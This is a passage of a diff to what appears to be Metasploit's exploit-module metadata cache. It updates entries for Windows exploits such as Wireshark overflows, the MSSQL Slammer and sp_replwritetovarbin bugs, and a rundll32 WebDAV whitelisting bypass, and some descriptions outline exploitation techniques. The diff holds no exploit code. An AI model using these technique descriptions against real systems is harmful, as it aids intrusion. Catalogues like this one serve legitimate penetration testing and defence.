triggered when processing\n the server response packet. During the overflow a structured exception\n handler is overwritten.", "references": [ "CVE-2011-5052", "OSVDB-78043", @@ -189098,16 +194220,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "StreamDown 6.8.0" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/stream_down_bof.rb", "is_install_path": true, "ref_name": "windows/misc/stream_down_bof", @@ -189115,6 +194233,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189122,16 +194249,14 @@ "exploit_windows/misc/talkative_response": { "name": "Talkative IRC v0.4.4.16 Response Buffer Overflow", "fullname": "exploit/windows/misc/talkative_response", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-03-17", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.\n When a specially crafted response string is sent to a client,\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.\n When a specially crafted response string is sent to a client,\n an attacker may be able to execute arbitrary code.", "references": [ "OSVDB-64582", "BID-34141", @@ -189140,16 +194265,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/talkative_response.rb", "is_install_path": true, "ref_name": "windows/misc/talkative_response", @@ -189157,6 +194278,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189164,9 +194294,7 @@ "exploit_windows/misc/tiny_identd_overflow": { "name": "TinyIdentD 2.2 Stack Buffer Overflow", "fullname": "exploit/windows/misc/tiny_identd_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-05-14", "type": "exploit", @@ -189184,12 +194312,8 @@ "platform": "Windows", "arch": "", "rport": 113, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 Server SP4 - English", @@ -189200,7 +194324,7 @@ "Windows XP SP2 - English", "Windows XP SP2 - Italian" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/misc/tiny_identd_overflow.rb", "is_install_path": true, "ref_name": "windows/misc/tiny_identd_overflow", @@ -189213,6 +194337,9 @@ ], "Stability": [ "crash-service-down" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -189221,9 +194348,7 @@ "exploit_windows/misc/trendmicro_cmdprocessor_addtask": { "name": "TrendMicro Control Manger CmdProcessor.exe Stack Buffer Overflow", "fullname": "exploit/windows/misc/trendmicro_cmdprocessor_addtask", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-12-07", "type": "exploit", @@ -189231,7 +194356,7 @@ "Luigi Auriemma", "Blue" ], - "description": "This module exploits a vulnerability in the CmdProcessor.exe component of Trend\n Micro Control Manger up to version 5.5.\n\n The specific flaw exists within CmdProcessor.exe service running on TCP port\n 20101. The vulnerable function is the CGenericScheduler::AddTask function of\n cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,\n controlled data is copied into a 256-byte stack buffer. This can be exploited\n to execute remote code under the context of the user.", + "description": "This module exploits a vulnerability in the CmdProcessor.exe component of Trend\n Micro Control Manger up to version 5.5.\n\n The specific flaw exists within CmdProcessor.exe service running on TCP port\n 20101. The vulnerable function is the CGenericScheduler::AddTask function of\n cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,\n controlled data is copied into a 256-byte stack buffer. This can be exploited\n to execute remote code under the context of the user.", "references": [ "CVE-2011-5001", "OSVDB-77585", @@ -189240,16 +194365,12 @@ "platform": "Windows", "arch": "", "rport": 20101, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 Server SP2 (DEP Bypass)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb", "is_install_path": true, "ref_name": "windows/misc/trendmicro_cmdprocessor_addtask", @@ -189257,6 +194378,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189264,9 +194394,7 @@ "exploit_windows/misc/ufo_ai": { "name": "UFO: Alien Invasion IRC Client Buffer Overflow", "fullname": "exploit/windows/misc/ufo_ai", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-10-28", "type": "exploit", @@ -189274,7 +194402,7 @@ "Jason Geffner", "dookie" ], - "description": "This module exploits a buffer overflow in the IRC client component of\n UFO: Alien Invasion 2.2.1.", + "description": "This module exploits a buffer overflow in the IRC client component of\n UFO: Alien Invasion 2.2.1.", "references": [ "OSVDB-65689", "EDB-14013" @@ -189282,16 +194410,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ufo_ai.rb", "is_install_path": true, "ref_name": "windows/misc/ufo_ai", @@ -189299,6 +194423,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189306,9 +194439,7 @@ "exploit_windows/misc/unified_remote_rce": { "name": "Unified Remote Auth Bypass to RCE", "fullname": "exploit/windows/misc/unified_remote_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-02-25", "type": "exploit", @@ -189326,12 +194457,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 9512, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "default" ], @@ -189360,9 +194487,7 @@ "exploit_windows/misc/veeam_one_agent_deserialization": { "name": "Veeam ONE Agent .NET Deserialization", "fullname": "exploit/windows/misc/veeam_one_agent_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-15", "type": "exploit", @@ -189382,12 +194507,8 @@ "platform": "Windows", "arch": "cmd, x86, x64", "rport": 2805, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Command", "Windows Dropper", @@ -189418,16 +194539,14 @@ "exploit_windows/misc/vmhgfs_webdav_dll_sideload": { "name": "DLL Side Loading Vulnerability in VMware Host Guest Client Redirector", "fullname": "exploit/windows/misc/vmhgfs_webdav_dll_sideload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-08-05", "type": "exploit", "author": [ "Yorick Koster" ], - "description": "A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,\n a component of VMware Tools. This issue can be exploited by luring a victim into\n opening a document from the attacker's share. An attacker can exploit this issue to\n execute arbitrary code with the privileges of the target user. This can potentially\n result in the attacker taking complete control of the affected system. If the WebDAV\n Mini-Redirector is enabled, it is possible to exploit this issue over the internet.", + "description": "A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,\n a component of VMware Tools. This issue can be exploited by luring a victim into\n opening a document from the attacker's share. An attacker can exploit this issue to\n execute arbitrary code with the privileges of the target user. This can potentially\n result in the attacker taking complete control of the affected system. If the WebDAV\n Mini-Redirector is enabled, it is possible to exploit this issue over the internet.", "references": [ "CVE-2016-5330", "URL-https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html", @@ -189436,17 +194555,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64", "Windows x86" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb", "is_install_path": true, "ref_name": "windows/misc/vmhgfs_webdav_dll_sideload", @@ -189454,6 +194569,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189461,9 +194585,7 @@ "exploit_windows/misc/webdav_delivery": { "name": "Serve DLL via webdav server", "fullname": "exploit/windows/misc/webdav_delivery", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "1999-01-01", "type": "exploit", @@ -189471,23 +194593,17 @@ "Ryan Hanson ", "James Cook " ], - "description": "This module simplifies the rundll32.exe Application Whitelisting Bypass technique.\n The module creates a webdav server that hosts a dll file. When the user types the provided rundll32\n command on a system, rundll32 will load the dll remotly and execute the provided export function.\n The export function needs to be valid, but the default meterpreter function can be anything.\n The process does write the dll to C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\TfsStore\\Tfs_DAV\n but does not load the dll from that location. This file should be removed after execution.\n The extension can be anything you'd like, but you don't have to use one. Two files will be\n written to disk. One named the requested name and one with a dll extension attached.", - "references": [ - - ], + "description": "This module simplifies the rundll32.exe Application Whitelisting Bypass technique.\n The module creates a webdav server that hosts a dll file. When the user types the provided rundll32\n command on a system, rundll32 will load the dll remotly and execute the provided export function.\n The export function needs to be valid, but the default meterpreter function can be anything.\n The process does write the dll to C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\TfsStore\\Tfs_DAV\n but does not load the dll from that location. This file should be removed after execution.\n The extension can be anything you'd like, but you don't have to use one. Two files will be\n written to disk. One named the requested name and one with a dll extension attached.", + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/webdav_delivery.rb", "is_install_path": true, "ref_name": "windows/misc/webdav_delivery", @@ -189495,6 +194611,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189502,9 +194627,7 @@ "exploit_windows/misc/wifi_mouse_rce": { "name": "Wifi Mouse RCE", "fullname": "exploit/windows/misc/wifi_mouse_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-02-25", "type": "exploit", @@ -189524,12 +194647,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 1978, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "stager" ], @@ -189558,16 +194677,14 @@ "exploit_windows/misc/windows_rsh": { "name": "Windows RSH Daemon Buffer Overflow", "fullname": "exploit/windows/misc/windows_rsh", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-07-24", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a vulnerability in Windows RSH daemon 1.8.\n The vulnerability is due to a failure to check for the length of input sent\n to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit\n to be successful.", + "description": "This module exploits a vulnerability in Windows RSH daemon 1.8.\n The vulnerability is due to a failure to check for the length of input sent\n to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit\n to be successful.", "references": [ "CVE-2007-4006", "OSVDB-38572", @@ -189576,18 +194693,14 @@ "platform": "Windows", "arch": "", "rport": 514, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 SP1 English", "Windows XP Pro SP2 English", "Windows 2000 Pro SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/windows_rsh.rb", "is_install_path": true, "ref_name": "windows/misc/windows_rsh", @@ -189595,6 +194708,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189602,9 +194724,7 @@ "exploit_windows/misc/wireshark_lua": { "name": "Wireshark console.lua Pre-Loading Script Execution", "fullname": "exploit/windows/misc/wireshark_lua", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-07-18", "type": "exploit", @@ -189612,7 +194732,7 @@ "Haifei Li", "sinn3r " ], - "description": "This module exploits a vulnerability in Wireshark 1.6 or less. When opening a\n pcap file, Wireshark will actually check if there's a 'console.lua' file in the same\n directory, and then parse/execute the script if found. Versions affected by this\n vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8", + "description": "This module exploits a vulnerability in Wireshark 1.6 or less. When opening a\n pcap file, Wireshark will actually check if there's a 'console.lua' file in the same\n directory, and then parse/execute the script if found. Versions affected by this\n vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8", "references": [ "CVE-2011-3360", "OSVDB-75347", @@ -189622,16 +194742,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Wireshark 1.6.1 or less" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/wireshark_lua.rb", "is_install_path": true, "ref_name": "windows/misc/wireshark_lua", @@ -189639,6 +194755,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189646,9 +194771,7 @@ "exploit_windows/misc/wireshark_packet_dect": { "name": "Wireshark packet-dect.c Stack Buffer Overflow", "fullname": "exploit/windows/misc/wireshark_packet_dect", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-18", "type": "exploit", @@ -189657,7 +194780,7 @@ "sickness", "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow in Wireshark <= 1.4.4\n by sending a malicious packet.", + "description": "This module exploits a stack buffer overflow in Wireshark <= 1.4.4\n by sending a malicious packet.", "references": [ "CVE-2011-1591", "OSVDB-71848", @@ -189668,16 +194791,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Win32 Universal (Generic DEP & ASLR Bypass)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/wireshark_packet_dect.rb", "is_install_path": true, "ref_name": "windows/misc/wireshark_packet_dect", @@ -189685,6 +194804,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189692,16 +194820,14 @@ "exploit_windows/mmsp/ms10_025_wmss_connect_funnel": { "name": "Windows Media Services ConnectFunnel Stack Buffer Overflow", "fullname": "exploit/windows/mmsp/ms10_025_wmss_connect_funnel", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-04-13", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in the Windows Media\n Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially\n crafted FunnelConnect request, an attacker can execute arbitrary code\n under the \"NetShowServices\" user account. Windows Media Services 4.1 ships\n with Windows 2000 Server, but is not installed by default.\n\n NOTE: This service does NOT restart automatically. Successful, as well as\n unsuccessful exploitation attempts will kill the service which prevents\n additional attempts.", + "description": "This module exploits a stack buffer overflow in the Windows Media\n Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially\n crafted FunnelConnect request, an attacker can execute arbitrary code\n under the \"NetShowServices\" user account. Windows Media Services 4.1 ships\n with Windows 2000 Server, but is not installed by default.\n\n NOTE: This service does NOT restart automatically. Successful, as well as\n unsuccessful exploitation attempts will kill the service which prevents\n additional attempts.", "references": [ "CVE-2010-0478", "OSVDB-63726", @@ -189711,16 +194837,12 @@ "platform": "Windows", "arch": "", "rport": 1755, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb", "is_install_path": true, "ref_name": "windows/mmsp/ms10_025_wmss_connect_funnel", @@ -189728,6 +194850,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189735,16 +194866,14 @@ "exploit_windows/motorola/timbuktu_fileupload": { "name": "Timbuktu Pro Directory Traversal/File Upload", "fullname": "exploit/windows/motorola/timbuktu_fileupload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-05-10", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a directory traversal vulnerability in Motorola's\n Timbuktu Pro for Windows 8.6.5.", + "description": "This module exploits a directory traversal vulnerability in Motorola's\n Timbuktu Pro for Windows 8.6.5.", "references": [ "CVE-2008-1117", "OSVDB-43544" @@ -189752,16 +194881,12 @@ "platform": "Windows", "arch": "", "rport": 407, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/motorola/timbuktu_fileupload.rb", "is_install_path": true, "ref_name": "windows/motorola/timbuktu_fileupload", @@ -189769,6 +194894,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189776,16 +194910,14 @@ "exploit_windows/mssql/lyris_listmanager_weak_pass": { "name": "Lyris ListManager MSDE Weak sa Password", "fullname": "exploit/windows/mssql/lyris_listmanager_weak_pass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-12-08", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a weak password vulnerability in the\n Lyris ListManager MSDE install. During installation, the 'sa'\n account password is set to 'lminstall'. Once the install\n completes, it is set to 'lyris' followed by the process\n ID of the installer. This module brute forces all possible\n process IDs that would be used by the installer.", + "description": "This module exploits a weak password vulnerability in the\n Lyris ListManager MSDE install. During installation, the 'sa'\n account password is set to 'lminstall'. Once the install\n completes, it is set to 'lyris' followed by the process\n ID of the installer. This module brute forces all possible\n process IDs that would be used by the installer.", "references": [ "CVE-2005-4145", "OSVDB-21559" @@ -189810,7 +194942,7 @@ "targets": [ "Automatic" ], - "mod_time": "2024-02-19 10:57:53 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb", "is_install_path": true, "ref_name": "windows/mssql/lyris_listmanager_weak_pass", @@ -189818,6 +194950,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189825,16 +194966,14 @@ "exploit_windows/mssql/ms02_039_slammer": { "name": "MS02-039 Microsoft SQL Server Resolution Overflow", "fullname": "exploit/windows/mssql/ms02_039_slammer", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-07-24", "type": "exploit", "author": [ "hdm " ], - "description": "This is an exploit for the SQL Server 2000 resolution\n service buffer overflow. This overflow is triggered by\n sending a udp packet to port 1434 which starts with 0x04 and\n is followed by long string terminating with a colon and a\n number. This module should work against any vulnerable SQL\n Server 2000 or MSDE install (pre-SP3).", + "description": "This is an exploit for the SQL Server 2000 resolution\n service buffer overflow. This overflow is triggered by\n sending a udp packet to port 1434 which starts with 0x04 and\n is followed by long string terminating with a colon and a\n number. This module should work against any vulnerable SQL\n Server 2000 or MSDE install (pre-SP3).", "references": [ "CVE-2002-0649", "OSVDB-4578", @@ -189861,7 +195000,7 @@ "targets": [ "MSSQL 2000 / MSDE <= SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mssql/ms02_039_slammer.rb", "is_install_path": true, "ref_name": "windows/mssql/ms02_039_slammer", @@ -189869,6 +195008,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189876,16 +195024,14 @@ "exploit_windows/mssql/ms02_056_hello": { "name": "MS02-056 Microsoft SQL Server Hello Overflow", "fullname": "exploit/windows/mssql/ms02_056_hello", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-08-05", "type": "exploit", "author": [ "MC " ], - "description": "By sending malformed data to TCP port 1433, an\n unauthenticated remote attacker could overflow a buffer and\n possibly execute code on the server with SYSTEM level\n privileges. This module should work against any vulnerable\n SQL Server 2000 or MSDE install (< SP3).", + "description": "By sending malformed data to TCP port 1433, an\n unauthenticated remote attacker could overflow a buffer and\n possibly execute code on the server with SYSTEM level\n privileges. This module should work against any vulnerable\n SQL Server 2000 or MSDE install (< SP3).", "references": [ "CVE-2002-1123", "OSVDB-10132", @@ -189912,7 +195058,7 @@ "targets": [ "MSSQL 2000 / MSDE <= SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mssql/ms02_056_hello.rb", "is_install_path": true, "ref_name": "windows/mssql/ms02_056_hello", @@ -189920,6 +195066,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189927,16 +195082,14 @@ "exploit_windows/mssql/ms09_004_sp_replwritetovarbin": { "name": "MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption", "fullname": "exploit/windows/mssql/ms09_004_sp_replwritetovarbin", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-12-09", "type": "exploit", "author": [ "jduck " ], - "description": "A heap-based buffer overflow can occur when calling the undocumented\n \"sp_replwritetovarbin\" extended stored procedure. This vulnerability affects\n all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,\n and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.\n Microsoft patched this vulnerability in SP3 for 2005 without any public\n mention.\n\n An authenticated database session is required to access the vulnerable code.\n That said, it is possible to access the vulnerable code via an SQL injection\n vulnerability.\n\n This exploit smashes several pointers, as shown below.\n\n 1. pointer to a 32-bit value that is set to 0\n 2. pointer to a 32-bit value that is set to a length influenced by the buffer\n length.\n 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,\n this value is referenced with a displacement of 0x38. For MSSQL 2005, the\n displacement is 0x10. The address of our buffer is conveniently stored in\n ecx when this instruction is executed.\n 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with\n a displacement of 4. This pointer is not used by this exploit.\n\n This particular exploit replaces the previous dual-method exploit. It uses\n a technique where the value contained in ecx becomes the stack. From there,\n return oriented programming is used to normalize the execution state and\n finally execute the payload via a \"jmp esp\". All addresses used were found\n within the sqlservr.exe memory space, yielding very reliable code execution\n using only a single query.\n\n NOTE: The MSSQL server service does not automatically restart by default. That\n said, some exceptions are caught and will not result in terminating the process.\n If the exploit crashes the service prior to hijacking the stack, it won't die.\n Otherwise, it's a goner.", + "description": "A heap-based buffer overflow can occur when calling the undocumented\n \"sp_replwritetovarbin\" extended stored procedure. This vulnerability affects\n all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,\n and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.\n Microsoft patched this vulnerability in SP3 for 2005 without any public\n mention.\n\n An authenticated database session is required to access the vulnerable code.\n That said, it is possible to access the vulnerable code via an SQL injection\n vulnerability.\n\n This exploit smashes several pointers, as shown below.\n\n 1. pointer to a 32-bit value that is set to 0\n 2. pointer to a 32-bit value that is set to a length influenced by the buffer\n length.\n 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,\n this value is referenced with a displacement of 0x38. For MSSQL 2005, the\n displacement is 0x10. The address of our buffer is conveniently stored in\n ecx when this instruction is executed.\n 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with\n a displacement of 4. This pointer is not used by this exploit.\n\n This particular exploit replaces the previous dual-method exploit. It uses\n a technique where the value contained in ecx becomes the stack. From there,\n return oriented programming is used to normalize the execution state and\n finally execute the payload via a \"jmp esp\". All addresses used were found\n within the sqlservr.exe memory space, yielding very reliable code execution\n using only a single query.\n\n NOTE: The MSSQL server service does not automatically restart by default. That\n said, some exceptions are caught and will not result in terminating the process.\n If the exploit crashes the service prior to hijacking the stack, it won't die.\n Otherwise, it's a goner.", "references": [ "OSVDB-50589", "CVE-2008-5416", @@ -189973,7 +195126,7 @@ "MSSQL 2005 SP2 (9.00.3042.00)", "CRASHER" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb", "is_install_path": true, "ref_name": "windows/mssql/ms09_004_sp_replwritetovarbin", @@ -189981,6 +195134,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -189988,9 +195150,7 @@ "exploit_windows/mssql/ms09_004_sp_replwritetovarbin_sqli": { "name": "MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection", "fullname": "exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-12-09", "type": "exploit", @@ -189998,7 +195158,7 @@ "jduck ", "Rodrigo Marcos" ], - "description": "A heap-based buffer overflow can occur when calling the undocumented\n \"sp_replwritetovarbin\" extended stored procedure. This vulnerability affects\n all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,\n and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.\n Microsoft patched this vulnerability in SP3 for 2005 without any public\n mention.\n\n This exploit smashes several pointers, as shown below.\n\n 1. pointer to a 32-bit value that is set to 0\n 2. pointer to a 32-bit value that is set to a length influenced by the buffer\n length.\n 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,\n this value is referenced with a displacement of 0x38. For MSSQL 2005, the\n displacement is 0x10. The address of our buffer is conveniently stored in\n ecx when this instruction is executed.\n 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with\n a displacement of 4. This pointer is not used by this exploit.\n\n This particular exploit replaces the previous dual-method exploit. It uses\n a technique where the value contained in ecx becomes the stack. From there,\n return oriented programming is used to normalize the execution state and\n finally execute the payload via a \"jmp esp\". All addresses used were found\n within the sqlservr.exe memory space, yielding very reliable code execution\n using only a single query.\n\n NOTE: The MSSQL server service does not automatically restart by default. That\n said, some exceptions are caught and will not result in terminating the process.\n If the exploit crashes the service prior to hijacking the stack, it won't die.\n Otherwise, it's a goner.", + "description": "A heap-based buffer overflow can occur when calling the undocumented\n \"sp_replwritetovarbin\" extended stored procedure. This vulnerability affects\n all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,\n and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.\n Microsoft patched this vulnerability in SP3 for 2005 without any public\n mention.\n\n This exploit smashes several pointers, as shown below.\n\n 1. pointer to a 32-bit value that is set to 0\n 2. pointer to a 32-bit value that is set to a length influenced by the buffer\n length.\n 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,\n this value is referenced with a displacement of 0x38. For MSSQL 2005, the\n displacement is 0x10. The address of our buffer is conveniently stored in\n ecx when this instruction is executed.\n 